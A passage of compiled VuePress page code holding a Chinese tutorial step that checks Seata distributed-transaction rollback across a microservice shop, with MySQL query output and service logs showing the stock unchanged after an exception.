number"}},[s._v("1001")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 华为 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2399.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1002")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 小米 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1003")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" iphone "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("4999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("rows")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("in")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br")])]),a("p",[s._v("这里,我们以id为1001的商品为例,此时发现商品的库存为100。")]),s._v(" "),a("p",[s._v("(3)查询订单数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以发现订单数据表为空。")]),s._v(" "),a("p",[s._v("(4)查询订单条目数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order_item"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,订单条目数据表为空。")]),s._v(" "),a("h3",{attrs:{id:"验证seata事务-2"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#验证seata事务-2"}},[s._v("#")]),s._v(" 验证Seata事务")]),s._v(" "),a("p",[s._v("(1)分别启动Nacos、Sentinel、ZinKin、RocketMQ,Seata,并启动用户微服务,商品微服务,订单微服务和服务网关。打开浏览器访问"),a("code",[s._v("http://localhost:10001/server-order/order/submit_order?userId=1001&productId=1001&count=1")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-012","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-012.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("返回的原始数据如下所示。")]),s._v(" "),a("div",{staticClass:"language-json line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-json"}},[a("code",[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token property"}},[s._v('"code"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("500")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),a("span",{pre:!0,attrs:{class:"token property"}},[s._v('"codeMsg"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"执行失败"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),a("span",{pre:!0,attrs:{class:"token property"}},[s._v('"data"')]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"/ by zero"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("(2)查看各个微服务和网关输出的日志信息,分别如下所示。")]),s._v(" "),a("ul",[a("li",[s._v("用户微服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的用户信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"password"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"c26be8aaf53b15054896983b43eb6a65"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("说明用户微服务无异常信息。")]),s._v(" "),a("ul",[a("li",[s._v("商品微服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("获取到的商品信息为:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proName"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"华为"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"proStock"')]),s._v(":100"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n更新商品库存传递的参数为: 商品id:1001, 购买数量:1 \n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("说明商品微服务无异常信息。")]),s._v(" "),a("p",[s._v("值得注意的是,整合Seata后,商品微服务同时输出了如下日志。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token function"}},[s._v("rm")]),s._v(" handle branch rollback process:xid"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("192.168")]),s._v(".0.111:8091:6638572304823066625,branchId"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6638572304823066634")]),s._v(",branchType"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("AT,resourceId"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("jdbc:mysql://localhost:3306/shop,applicationData"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("null\nBranch Rollbacking: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("192.168")]),s._v(".0.111:8091:6638572304823066625 "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6638572304823066634")]),s._v(" jdbc:mysql://localhost:3306/shop\nxid "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("192.168")]),s._v(".0.111:8091:6638572304823066625 branch "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("6638572304823066634")]),s._v(", undo_log deleted with GlobalFinished\nBranch Rollbacked result: PhaseTwo_Rollbacked\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("看上去应该是有事务回滚了。")]),s._v(" "),a("ul",[a("li",[s._v("订单微服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("提交订单时传递的参数:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"count"')]),s._v(":1,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"empty"')]),s._v(":false,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"productId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n库存扣减成功\n服务器抛出了异常:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\njava.lang.ArithmeticException: / by zero\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("说明订单微服务抛出了ArithmeticException异常。")]),s._v(" "),a("p",[s._v("同时,商品微服务会输出如下日志。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("Branch Rollbacked result: PhaseTwo_Rollbacked\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("192.168")]),s._v(".0.111:8091:6638572304823066625"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" rollback status: Rollbacked\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("看上去应该是有事务回滚了。")]),s._v(" "),a("ul",[a("li",[s._v("网关服务输出的日志如下所示。")])]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("执行前置过滤器逻辑\n执行后置过滤器逻辑\n访问接口主机: localhost\n访问接口端口: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10001")]),s._v("\n访问接口URL: /server-order/order/submit_order\n访问接口URL参数: "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("userId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("productId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("count")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n访问接口时长: 1632ms\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("可以看到,网关服务无异常信息。")]),s._v(" "),a("p",[s._v("通过微服务打印出的日志信息,可以看到,有事务回滚了。")]),s._v(" "),a("h3",{attrs:{id:"查询数据表数据-4"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查询数据表数据-4"}},[s._v("#")]),s._v(" 查询数据表数据")]),s._v(" "),a("p",[s._v("(1)打开cmd终端,进入MySQL命令行,并进入shop商城数据库,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("C:\\Users\\binghe"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("mysql "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("uroot "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("p\nEnter password: "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v("\nWelcome "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" the MySQL monitor"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Commands "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("end")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("with")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" \\g"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\nYour MySQL connection id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("15")]),s._v("\nServer version: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5.7")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v(".35")]),s._v(" MySQL Community Server "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("GPL"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n\nCopyright "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("c"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2000")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2021")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" Oracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its affiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nOracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" a registered trademark "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" Oracle Corporation "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its\naffiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Other names may be trademarks "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" their respective\nowners"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'help;'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\h'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("for")]),s._v(" help"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\c'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" clear the "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("current")]),s._v(" input statement"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nmysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("use")]),s._v(" shop"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Database")]),s._v(" changed\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br")])]),a("p",[s._v("(2)查看商品数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_product"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_name "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_price "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_stock "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 华为 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2399.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1002")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 小米 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1003")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" iphone "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("4999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("rows")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("in")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br")])]),a("p",[s._v("可以看到,此时商品数据表中,id为1001的商品库存数量仍然为100。")]),s._v(" "),a("p",[s._v("(3)查看订单数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,订单数据表为空。")]),s._v(" "),a("p",[s._v("(4)查看订单条目数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order_item"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" 